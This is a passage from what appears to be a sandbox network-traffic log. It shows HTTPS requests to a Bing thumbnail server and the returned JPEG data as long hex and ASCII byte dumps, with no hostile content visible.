3A#wF4e6MVi3QER}RXjfuXYzi%XJ:)]jIB+1X,BPgIaR(It1HwJOQHJ\1\|sZwV!P3(ASiTNQwn;C)
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: e6 ba 16 43 df e5 a9 23 4c 73 5b 3c 5c ed b9 92 c3 46 fb 18 a9 a2 45 1a f3 4e 87 4f 81 78 ed 5b 33 2e 63 fb d5 03 20 eb b6 a1 57 9b dd 95 2a 51 5b 14 7e c3 10 e8 95 1c da 7c 4f f5 ad 2d b4 e6 4c f3 4b da c9 3d c3 d9 a6 8c bf ec d8 47 3f 35 56 ba b0 da b9 4e 95 b4 c3 e5 6a 85 c6 2a e3 56 5b 91 2a 69 1c ec 96 af f3 7c b5 04 9a 7c 87 f8 6b a8 44 4a 91 23 4d bf c3 5b 7d 65 a3 27 45 3e a7 20 fa 74 bf dc a6 49 60 dd ba d7 6f e4 c6 57 ee ad 55 b9 b7 8f b2 51 1c 63 6f 60 78 54 8e 3d 74 d9 cc 98 ff 00 c7 aa cb 69 92 a2 ae 2b 75 a2 54 6e 29 1d bf fb 1a d7 eb 12 64 fb 18 a4 62 c1 61 29 6e 6a ec 36 2e 19 7d 2a d2 9c 54 91 3e e6 a8 94 e4 ca 8c 15 c7 47 0e 17 15 2a a9 1c 53 55 bb f7 a7 33 e2 b9 ae d9 ae 83 d7 1b 69 eb 26 3e 5a af e6 80 d4 ad 25 27 16 52 93 41 70 c0 fd Data Ascii: C#Ls[<\FENOx[3.c WQ[~\|O-LK=G?5VNjV[i\|\|kDJ#M[}e'E> tI`oWUQco`xT=ti+uTn)dba)nj6.}T>G*SU3i&>Z%'RAp
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: 19 56 63 96 cd 33 18 a7 b4 67 f0 a5 c6 1b 15 bd d7 43 2b 11 ed 34 ca b1 4d c0 3c 6d a3 98 5c a4 0b 4b 8c 54 8c 82 9b b4 51 cc 16 63 1b 15 2d 9c 3b 9a 9a b1 ee 6e 6a c4 41 a3 5a 52 96 9a 02 5a ea 59 87 11 f1 4a aa 5e 4c 8a 87 77 98 d5 62 16 c2 a8 15 cc ee b5 3a 62 ee 12 65 17 8f 98 d6 6e ad 2d db 2e cd 8d 8f f6 6b 51 30 5b 26 a5 54 46 a9 8c d4 1d da 1c a2 e4 b7 39 1f b2 dc 3b 64 c4 d4 48 93 c6 bb 5b 75 75 ed 02 85 c5 41 24 51 79 98 db b8 d7 44 71 97 e8 61 f5 6f 33 93 f2 a5 3f c3 43 45 20 5e 52 ba f8 ed a2 db f7 69 0d ac 2e d8 db c5 3f ae eb b0 7d 4d f7 38 e6 0e 3f 86 9e 91 4a cb f2 a6 ea ea 64 b0 b7 0d f7 56 9a d6 f1 a7 dc 5a a7 8c 8b d9 0b ea af a9 ce 43 69 33 49 ca d5 b6 b4 0a bc f5 ad 7f 27 da ab cd 1e 1a a5 e2 1c 98 fd 87 2a 29 5b da 22 36 6a 69 ad 3c Data Ascii: Vc3gC+4M<m\KTQc-;njAZRZYJ^Lwb:ben-.kQ0[&TF9;dH[uuA$QyDqao3?CE ^Ri.?}M8?JdVZCi3I'*)["6ji<
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: 1b 2b fe 3d 4b 73 69 5a 19 b5 5f 10 6a 3e 21 8e 49 60 c8 8e 4e 11 21 27 f8 56 32 32 7f 1a af 63 79 73 e2 59 9a ce 4b 98 b4 cb 65 e2 2b 99 23 2b 35 e0 ff 00 67 77 09 9a 92 ff 00 49 b6 b8 86 2f 12 6a 9a e5 8c 77 71 e5 20 8f cb 1f 67 5c 7f 08 4e a5 bd fa d5 16 be d4 f5 f8 7e c0 16 0d 3d 79 4f 9a 3f df 4d ee 9b b8 55 fd 6a 63 4e ea fc d7 f5 fb 3e 81 2a 9c af 6b 7e be a6 ac b7 d2 78 4a d5 b4 bd 2a 2b 6d 4e 46 60 9e 5e df de 47 9f e2 95 d7 aa 8f 7e 69 57 41 8f 51 87 fe 12 0d 4b c4 3a 6f 9b 03 7c aa b1 a2 da c2 7f da 56 e5 8f d6 a8 f8 7f 5d 3e 1d 86 4d 22 de da 3d 4c b7 c9 fb bf 97 c9 3d cc ae bd ab 5e eb c3 5f 68 b3 8f c5 57 77 9a 5c 51 af 0a d2 2a ad 9a fb 00 4e 5d bd fa d4 cf 9a 9b 4a f6 6f ae ed ff 00 91 31 e5 77 76 d3 f0 f9 77 30 6e b5 4b cf 10 b4 ba 64 72 Data Ascii: +=KsiZ_j>!I`N!'V22cysYKe+#+5gwI/jwq g\N~=yO?MUjcN>k~xJ+mNF`^G~iWAQK:o\|V]>M"=L=^_hWw\Q*N]Jo1wvw0nKdr
2024-12-16 14:01:18 UTC	16067	IN	Data Raw: 6d fe b1 8e 37 d4 16 36 11 78 26 e1 af 3c 46 d6 da 90 91 be 59 db e6 b8 8f d3 cb 53 9f 96 af 95 2d b4 fd 4a e7 56 d4 bb fd 83 7f e3 f8 7e d0 9f 66 d2 ac 61 e5 62 8b e7 bb 90 7f d3 43 c6 d5 f6 aa f7 1a ad b6 85 74 be 1b 8b 4a d2 75 2d 49 b0 91 b4 32 84 8d 47 6f 33 d0 ff 00 3a b7 a8 69 ba e7 8a e3 4b dd 2e 28 b4 ab 19 7f e5 a2 c9 99 ae 07 a3 94 e1 47 b5 26 9f aa e8 d6 72 7f c2 3d a7 78 7a da 4d 4e 3f 92 48 96 44 f2 f3 fd e3 21 e4 e7 eb 9a 69 a9 69 d8 22 9a 29 a7 84 ef f4 fb c6 d7 35 99 74 fb b5 89 73 f6 46 fd dd b4 3e be 5e 4e 33 4b 35 d4 be 33 85 8f 86 74 f8 2d 3c ae 1a fa 56 1f 68 ff 00 b6 68 b8 3f 8d 4b 26 91 75 a3 dd 36 a7 e2 95 83 50 b1 8d fe 58 bc c2 a9 6a 3b ed 56 e1 e9 fa ac 77 fe 29 87 cf f0 8e 9d 1e 99 0b 71 1e a4 d2 6c 99 87 a2 22 7d df c6 9d af Data Ascii: m76x&<FYS-JV~fabCtJu-I2Go3:iK.(G&r=xzMN?HD!ii")5tsF>^N3K53t-<Vhh?K&u6PXj;Vw)ql"}
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: 00 90 c5 69 9b 60 28 52 c3 73 c1 59 e8 46 5d 8d ad 5a af 2c de 87 95 5c 28 2d 8a e9 3c 31 f0 8b c7 1e 2b d0 d3 5d d0 f4 76 b8 b1 95 8a c7 2f 98 8a 1b 6f 5e 09 ae 7a e8 6d 6a f5 af d9 6f e2 d0 f0 b6 a9 ff 00 08 ae bb 27 fc 49 6e 9b f7 52 7f cf ac 87 f8 bf dd 35 e2 e5 d4 e9 d4 ac a3 3e a7 a5 8a 95 58 53 e6 a7 ba 38 cb 8f 81 bf 13 21 6d af e1 5b b6 3f ec 30 6f eb 59 da bf 83 bc 41 e1 18 d6 df c4 3a 64 f6 32 dd 2e f8 56 65 da 58 0e 32 2b ee a7 64 0d be 37 f9 5b 06 36 56 dd b8 1e 84 57 80 fe db d9 6f 10 78 7c 3f f0 e9 ac 7f 39 2b d9 cc 32 ca 34 70 ee a4 16 be a7 9b 82 cc 2b 56 ac a1 2b 58 f9 d2 e5 70 cd 5a 5a 2f 81 bc 57 e2 2b 1f b7 e8 9a 0e a1 7d 6d 1b 6c 69 60 80 b2 a9 1d b3 54 2e 17 12 37 ad 7d 81 fb 1f 23 db fe cf ba 7e c6 db e6 df 5c 1d db be f7 22 bc ac Data Ascii: i`(RsYF]Z,\(-<1+]v/o^zmjo'InR5>XS8!m[?0oYA:d2.VeX2+d7[6VWox\|?9+24p+V+XpZZ/W+}mli`T.7}#~\"
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: 70 b5 1b 5d db cb 0e fd ea db ab 90 9b c4 76 77 1a 5c 72 9e 8c bb 99 7f 8b 22 a2 87 50 8e e6 dd 6e 2d ee 76 af f1 2b 37 dd ff 00 eb 56 5f da a9 cb 7b 0f d8 33 a6 f1 05 e4 09 e1 7d 4c ee 5c 2d 94 bb 7f da 25 0d 7c 5d e1 d5 cd d7 dd 55 3b ab ea 4f 13 6a c9 17 86 75 08 de 55 66 6b 29 3f 95 7c c5 e1 91 ba f2 b8 73 2c 5c 6b 53 49 33 d6 ca 69 b8 dd b3 d7 fe 1e da f9 8d 1e ff 00 9b e6 1f 2d 7b f4 7b 7c 98 c0 6f bb 18 fe 55 e1 ff 00 0e 53 2b 1f f0 ed e6 bd 0e 1d 59 1e de 5b 71 3f ef 7f a5 63 96 62 63 46 f7 61 9a 43 9b 96 c7 5a ec 89 d2 55 ff 00 80 b7 de a8 a4 97 66 d2 ed c7 f1 57 17 1d dc f1 dd 46 8b ba 40 b5 6e ff 00 56 b2 b6 87 7d dc bf 33 7f 0a fd ea f6 6a 66 51 82 be e7 8f 1a 0e 4f 63 a9 92 f1 23 da be 6a af 99 f7 7e 6f 4a e6 7c 6d ae 3c 77 51 c5 13 73 1a 93 Data Ascii: p]vw\r"Pn-v+7V_{3}L\-%\|]U;OjuUfk)?\|s,\kSI3i-{{\|oUS+Y[q?cbcFaCZUfWF@nV}3jfQOc#j~oJ\|m<wQs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49731	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:01:17 UTC	346	OUT	GET /th?id=OADD2.10239381013225_1XAUFN260686Y1KVG&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-16 14:01:17 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 830810 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 19B9CC2F952C405EB3287BE4A1AF7BFF Ref B: EWR30EDGE0814 Ref C: 2024-12-16T14:01:17Z Date: Mon, 16 Dec 2024 14:01:17 GMT Connection: close
2024-12-16 14:01:17 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFCC8"}!1AQa"q2
2024-12-16 14:01:17 UTC	16384	IN	Data Raw: 00 1a cd 93 20 e4 9e a3 b7 ad 2c 4f b7 9f e5 56 d5 c8 5a 1b 71 5e 1c e0 81 4e 8e e7 e7 dd 9f ca b1 d1 c9 39 c9 f7 ab 50 31 5e 49 e7 da a1 c4 be 66 6e 47 3e 47 26 89 27 45 4c e7 eb 8a cf 8e 70 39 cf 41 51 b4 b8 cf cd c5 67 ca 5f 39 75 6e d5 8e 01 1f 8d 24 b7 19 18 04 7e 55 91 34 c6 29 b8 e8 7d 2a 26 bc f9 b1 bb 23 db 8a be 42 7d a6 86 85 c5 d6 ce 0b 01 cd 35 e7 49 57 07 27 8e d5 8b 75 72 03 f2 5b a7 7a a1 75 a9 3a 7c b1 96 c7 b5 6b 1a 6d 91 29 db 73 72 ed ad a1 8d 99 51 57 d7 02 b9 4d 56 64 9e e3 72 63 6d 2d c5 dc d3 f0 cc dd 7a 54 0c 84 36 08 ae 8a 70 e5 dc e7 9c ef a2 18 b4 b4 e0 84 9c 0a 1a 26 53 c8 fd 2b 63 3b 0d c6 4f 5a 47 07 38 02 a7 10 38 8f 76 33 51 b0 27 80 3a fa d2 b8 58 8f 6e 4f 19 fc 68 db e9 9f ca b5 b4 7d 21 ee e5 50 db b6 93 c6 07 5f fe b5 Data Ascii: ,OVZq^N9P1^IfnG>G&'ELp9AQg_9un$~U4)}*&#B}5IW'ur[zu:\|km)srQWMVdrcm-zT6p&S+c;OZG88v3Q':XnOh}!P_
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: 8c 55 13 7b b3 53 4d 4c c8 a4 9e fd eb 52 79 d5 57 19 ac b8 08 8c 0c fe b4 5c 4e 40 dd 8f a5 4b 57 65 a2 3b b9 cf 99 9c 8c fa 55 09 2e 89 7e bd fb 76 a8 35 4b a2 32 49 fc 47 7a cb 82 f5 9e 6e 47 7a d2 31 b9 2e 5a 9b 82 ef 8c 16 a6 4f 73 f2 e4 1e 71 d2 a8 2c 80 f2 7f 1a 8e 69 87 62 3f c2 9f 29 37 64 97 13 16 e8 4d 52 79 49 a4 96 70 41 c9 1f 85 57 f3 46 ec 9a b4 ac 4b 68 b3 13 f1 ce 7f 1a 78 94 03 85 35 45 ae 00 e9 f9 53 52 60 5b 26 9d 82 e6 b4 53 fa 1f fe b5 5c 86 ec 85 eb 58 b1 c8 3a d5 ab 79 72 71 50 e2 5a 95 cd a8 2e 09 e8 7d f9 35 76 19 c2 af 06 b2 20 6c 2e 70 2a 45 9c 8e 07 ad 66 d0 f9 8d 86 b9 62 32 4f 6a ab 73 7a 47 c8 4d 55 7b 8c 21 04 f6 aa 73 4c 0f 39 a1 44 2e 59 9a e4 93 c7 15 5f cd 25 b9 22 ab 34 d9 3d 69 d0 b8 2d ed ed 56 90 6e 68 59 02 f2 60 Data Ascii: U{SMLRyW\N@KWe;U.~v5K2IGznGz1.ZOsq,ib?)7dMRyIpAWFKhx5ESR`[&S\X:yrqPZ.}5v l.p*Efb2OjszGMU{!sL9D.Y_%"4=i-VnhY`
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: 98 bf 1d 7b 0e b5 3d 03 4b a2 eb a1 49 b2 40 c0 1d aa 09 dd 8b 67 cb 07 3e b5 76 19 51 e3 cf 15 4a f8 93 26 17 03 8a 48 a9 6c 02 58 be 52 c0 ee 5e be f5 72 06 82 58 c0 3e 95 87 3a c8 ed 95 3c 7a 56 85 88 73 6f 82 bc e2 9b 42 8c ae c3 53 82 00 30 0f 0d fa d5 5b 4b 20 d1 e5 18 85 07 a7 ad 6a 44 a1 e3 db 30 5e 95 11 78 94 ed 51 f9 76 a1 49 d8 6e 26 45 dc 47 cd c2 21 e0 e3 8e f5 4e f2 29 10 fc e9 b7 3d 30 2b a4 67 88 4c 00 45 3c 54 7a 92 41 2c 78 60 73 eb 54 a4 4f 2e 87 2a cb 9e df 95 34 8c f2 7f fd 75 b5 75 a7 28 88 11 f2 9c d6 7c 96 e5 1b 04 f7 ed 5a 29 5c 9b 34 52 65 f4 a6 91 cf 02 ad b4 04 72 05 47 e5 fb 55 01 0e 28 20 93 c0 35 26 d3 9e 82 9c a3 06 81 11 10 57 a8 34 d1 9c f5 ab 12 f2 bc fa 76 a8 42 93 d6 81 88 73 8e b4 60 1a 7a a1 27 eb 4a e8 14 73 9a 00 Data Ascii: {=KI@g>vQJ&HlXR^rX>:<zVsoBS0[K jD0^xQvIn&EG!N)=0+gLE<TzA,x`sTO.*4uu(\|Z)\4RerGU( 5&W4vBs`z'Js
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: f7 a0 07 7b 8c d0 4e 7a 51 c7 4e 7f 3a 33 ea 45 00 19 f5 c7 4a 5c e6 90 90 3a 53 72 0f 7a 01 8e cf 22 81 eb 41 1e 9f a5 1c 8e d4 00 70 05 26 38 e2 8c 9e a4 d1 8e c2 81 89 8e 78 c5 21 1d 87 ad 38 64 f6 fc cd 2e 3b 50 03 30 7b 52 11 ef f9 d3 ff 00 3f ca 97 19 f4 fc 68 15 88 48 cd 18 18 e9 de a4 20 63 3f a5 21 1e bd fd 28 18 c5 03 d2 94 29 cf 34 fc 63 e9 40 c0 3c 0f ad 02 18 57 1e 94 80 7a e6 a6 da 3a 0a 5d 80 8f f0 a0 7c a4 20 73 8e 7d 69 42 9a 90 2f b5 28 41 d8 7f 9f 6a 01 44 8b 6e 7b 52 ec ed 9a 97 6f bd 04 64 ff 00 85 03 51 22 d9 8e 69 55 7d 4f e9 d6 a4 c7 14 63 1c e2 95 c7 ca 86 ed 22 9d 8c f5 fa d3 80 cf 34 a7 a7 34 8a 11 54 0e fd e9 c0 80 dc fa 53 73 c7 07 f2 a8 e4 3e b4 0b 62 46 60 39 fe 75 1b 3f a5 30 92 7b d3 40 22 a8 97 26 38 b9 fd 29 37 9c e0 e2 Data Ascii: {NzQN:3EJ\:Srz"Ap&8x!8d.;P0{R?hH c?!()4c@<Wz:]\| s}iB/(AjDn{RodQ"iU}Oc"44TSs>bF`9u?0{@"&8)7
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: 42 a7 1d 3b 9f 4a f3 bf 86 f1 dc db 6a 13 ea 37 6d 3d c6 9f ab dc 4f 78 61 99 b3 06 c9 64 66 c6 de 30 0f fb 24 7d ea ec 3c 13 24 96 50 e9 b2 5d ca 23 96 53 18 65 81 04 8a 91 97 24 1c 8e 7b 2f cd c9 07 ad 76 62 a9 c5 54 96 b7 5f d7 f9 6a 72 d2 9b 71 47 a1 78 92 ff 00 50 bb d3 5a 59 60 d8 ab 8f 26 dd e3 ff 00 5c 14 ee e0 8f 41 f9 7b d7 03 e2 19 c7 88 75 08 a4 8c a7 95 a6 da b0 78 43 15 de 0f 38 63 d4 0c 1e 08 c7 20 57 a3 78 aa d5 2e 74 6b e9 5d 99 23 8e 26 b8 47 8d be 50 15 4b 1c 37 71 c7 23 8e 0d 79 2f c1 db 7b a1 7d 32 40 65 9f cc 91 9f c8 98 f9 8a aa f8 da 06 3a 80 0e 79 e0 01 57 80 a4 ea 4f 4d ee 97 de 65 8b a8 a1 0d 76 d5 fd c7 b3 5a 46 22 b1 86 15 1f 2c 71 22 8c 0c 63 02 9c b9 cf 4a b3 31 cb 1c 74 cf 18 a6 14 c9 c9 3d ab fa 0e 11 e5 8a 8f 63 f1 49 cb Data Ascii: B;Jj7m=Oxadf0$}<$P]#Se${/vbT_jrqGxPZY`&\A{uxC8c Wx.tk]#&GPK7q#y/{}2@e:yWOMevZF",q"cJ1t=cI
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: 3b 3f b8 d2 73 8b b2 b1 9d f0 9b 40 d5 35 3f 8a 3a 6e ab a1 df c1 6f 75 77 10 b6 b8 b4 d5 ee 2e 14 4b c1 94 46 8e db d9 e3 61 9d a1 c0 24 67 91 80 4e b6 af e1 3f 15 7c 39 d7 35 48 bc 59 77 75 1e 8f 1e 9f 3d f6 9f 36 93 6f 2d fd 98 84 bb 33 89 c1 52 c1 d5 98 8c 67 6a 2b 0c 60 1c 8f 46 fd 8e 3c 37 17 87 fe 16 d8 fd b5 47 f6 95 f1 fe d1 59 a1 b9 12 23 c6 fc 09 17 1f ea cb 00 33 1f 20 7b 60 d7 a7 fc 43 4b 0b cf 87 7a f5 96 ab 15 d4 da 7d d6 95 73 0d da 5a 13 e6 88 9e 26 56 64 db 86 c8 07 b7 24 03 d6 ba a8 65 94 aa 61 dc a7 ab 7d 4c 6a 57 97 3a 8a d8 f9 ff 00 f6 5d f8 8a de 28 d6 9f 4b 93 c2 9a fa c1 a7 b3 3a 29 83 62 47 0f 2a 92 98 cb 65 5b cc 0c aa 83 21 40 cf 71 5e ff 00 e3 98 05 df 87 85 9f 91 6e 64 b8 90 79 73 de dc 34 31 59 30 52 c2 57 65 cb 1c 60 fc a3 Data Ascii: ;?s@5?:nouw.KFa$gN?\|95HYwu=6o-3Rgj+`F<7GY#3 {`CKz}sZ&Vd$ea}LjW:](K:)bG*e[!@q^ndys41Y0RWe`
2024-12-16 14:01:18 UTC	16067	IN	Data Raw: fe 0f d2 91 f5 8d 2e e7 47 8a 6b 86 87 16 b1 40 64 4d e9 2c b3 bb ab 00 99 07 66 33 90 ca d9 1d 7d 2a d8 ea 31 a3 a3 be 9f d5 ce 48 d3 97 39 9f fb 3d dd e8 d6 1e 12 9b 45 d7 21 59 34 cb 0b f9 74 99 a3 f2 65 d4 34 d7 6f 37 2f 13 ec 0f 81 b9 97 0e c7 69 0d fe cd 74 d3 df 4f a1 78 6b fe 11 bf 0c 5c 5d 68 a9 a3 de 0b 1b 9b 1b c9 1e e6 33 1c b3 09 77 c5 3b ae 62 41 1c bf 7b 90 14 ec 00 90 0d 79 a7 8e bc 6f 25 8c 56 32 6a b6 1a fd 96 8f a9 5a 43 67 77 a7 f8 6f 47 3a 6c 89 61 6a a5 6e 6f ac 5d 32 ae a6 50 19 95 c6 cd b8 e9 80 6b a1 f0 cf 81 3c 7b ae f8 9b c4 50 6b 1a 77 8a 13 c1 9e 26 d3 e1 30 ea 1a e4 56 90 ea 90 c5 82 15 51 22 77 8d 23 da 54 61 be 71 f2 b6 38 af 22 34 6a 46 9c a5 4d de 27 55 49 46 52 5c db 96 bc 3d e3 bb fd 0e ce c7 c1 b7 3e 17 bf f1 05 bc 5a Data Ascii: .Gk@dM,f3}*1H9=E!Y4te4o7/itOxk\]h3w;bA{yo%V2jZCgwoG:lajno]2Pk<{Pkw&0VQ"w#Taq8"4jFM'UIFR\=>Z
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: 29 04 31 1f 28 00 7c c7 63 2b a6 55 24 95 43 16 6d ec 06 78 01 7c 65 ab 98 3c 5f e2 28 81 68 f4 5f 0b a8 d2 7c a9 98 6d ba 0b 39 2a 14 e3 76 7e ee 72 4f 2c d8 ea 45 77 3e 17 d4 f5 7d 17 c3 e8 6d ee ef 35 2f 0d f8 6e 68 ed e6 d7 21 d0 b1 fd 9f e6 b1 67 31 f4 69 4c 45 f6 0e 42 63 2d 93 8c 57 23 c6 d6 9c d2 92 4f 96 df d7 f5 e4 75 fb 28 53 a7 e7 23 b4 f8 8d e3 ab 3d 17 56 d1 7c 19 a8 e8 5a 86 81 6a 09 86 5b 5d 39 a0 93 10 b2 01 6d 79 6a a8 42 fd 96 3b 80 9f 33 01 bb 9e 06 d6 a9 2e 3c 43 af 78 e7 e1 c5 c7 85 ad ac 93 5e d6 6d 75 18 ee ae ef 95 12 dc ca 2c ee 15 da 53 11 ff 00 58 73 1b 2a a2 ee 04 65 47 6a f2 ef 8a 5e 25 d0 f4 5b 39 3c 11 a1 4d aa 4f e2 0b 10 d1 5b ea d7 33 79 d2 0f 3d 99 65 32 3f dd 10 49 0e d1 b6 21 b0 07 1d 71 9a f5 7f 81 e9 af 6a 9e 04 b0 Data Ascii: )1(\|c+U$Cmx\|e<_(h_\|m9v~rO,Ew>}m5/nh!g1iLEBc-W#Ou(S#=V\|Zj[]9myjB;3.<Cx^mu,SXseGj^%[9<MO[3y=e2?I!qj
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: f4 9f 1f f8 6f c3 86 d7 ce 6f 13 2d c2 da 79 4c 56 54 68 70 d2 cb cf ca d1 ac 64 65 47 ce 49 e3 3c d7 cf 7f b4 27 8c 74 9f 14 f8 83 48 d4 bc 25 69 7d 71 ac cd a7 dd e9 91 59 b4 27 cf 06 1b a6 52 92 44 99 e0 86 91 d4 9c b2 8f f7 b1 59 bf 1c a5 bd bb d1 34 dd 7d 7e 20 f8 90 2e ad aa 5c ea 9a 8c b3 da 0f b1 e8 12 c1 11 81 e3 43 1a f9 91 99 07 96 8a 50 ec 90 30 dd f7 73 5c 1f c2 6f 0d f8 f3 5f ba 37 7e 0c f8 65 7b a9 7e e5 6e 75 0b ab bd 67 ec d2 5d c7 e6 f3 b1 b3 19 89 8e 76 9d 84 9f 97 3f 5f 36 be 2a a6 32 9d a9 6b 17 f7 9d 94 68 fb 09 f3 cb 46 8f 66 fd 9b b5 98 ae b4 fd 63 55 bd f1 55 e9 f0 fd 86 a7 12 6a cd 3e 97 1d a4 96 8e 3f 77 6b 63 70 63 e1 21 dc 64 2e 00 da cc b1 fc c0 e4 55 3f da 03 53 f0 96 b5 f1 27 47 b9 d1 35 67 d4 b5 46 64 b6 fb 72 a4 8a b6 d6 Data Ascii: oo-yLVThpdeGI<'tH%i}qY'RDY4}~ .\CP0s\o_7~e{~nug]v?_6*2khFfcUUj>?wkcpc!d.U?S'G5gFdr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49734	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:01:17 UTC	375	OUT	GET /th?id=OADD2.10239360504960_1PLAHYZB4JQO28JRC&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-16 14:01:17 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 540156 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 4D09B37D91DF441789B10FBD97102F3A Ref B: EWR30EDGE1406 Ref C: 2024-12-16T14:01:17Z Date: Mon, 16 Dec 2024 14:01:17 GMT Connection: close
2024-12-16 14:01:17 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 32 3a 31 30 20 32 33 3a 35 37 3a 34 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.1 (Windows)2023:02:10 23:57:408C
2024-12-16 14:01:17 UTC	16384	IN	Data Raw: 36 78 35 12 e6 95 32 1a a5 d9 96 89 d7 8a 55 a6 a1 a7 29 ac c6 3a 93 a5 0b ed 43 52 b1 41 9a 5a 4f e2 a7 c3 1c 92 b6 d8 d7 75 4b 76 18 d5 15 24 30 3c b2 6c 8d 77 16 a9 ad ec 6e 1a e1 63 31 37 de f9 ab ad d3 b4 fb 58 21 e1 79 ac 2b 62 23 4d 1a d2 a2 e6 cc 8d 27 48 f2 d5 65 91 7f 79 5b d1 a3 85 c7 dd a6 3c 9b 78 a7 47 72 0f 15 e6 d4 9c ea 6a cf 42 9c 63 02 54 6d 8d 80 cd 53 60 9e 6a a7 9c 37 55 c8 d8 18 eb 13 68 d9 a2 ae ab 72 2d ec d9 87 fa c6 e1 6b 9d 8e d4 79 9e 6c 9f 33 37 35 6b 56 31 49 a8 36 d9 7c cd b5 1a 92 2b b2 9a e5 5a 75 39 2a 4b 9a 42 ed db d2 a5 46 a8 d7 9e b5 2a e0 2e 68 dc 49 0d 61 f3 50 e2 9a ef 96 e2 91 8e 68 1d c4 2a 3f 8a ab 5d 20 65 e2 a7 66 c5 35 47 7a d2 ed 11 b9 7b 44 bc 47 8d 63 95 bf 78 bc 56 9b 44 ad d5 6b 97 b9 50 bb 4a fc a5 6a Data Ascii: 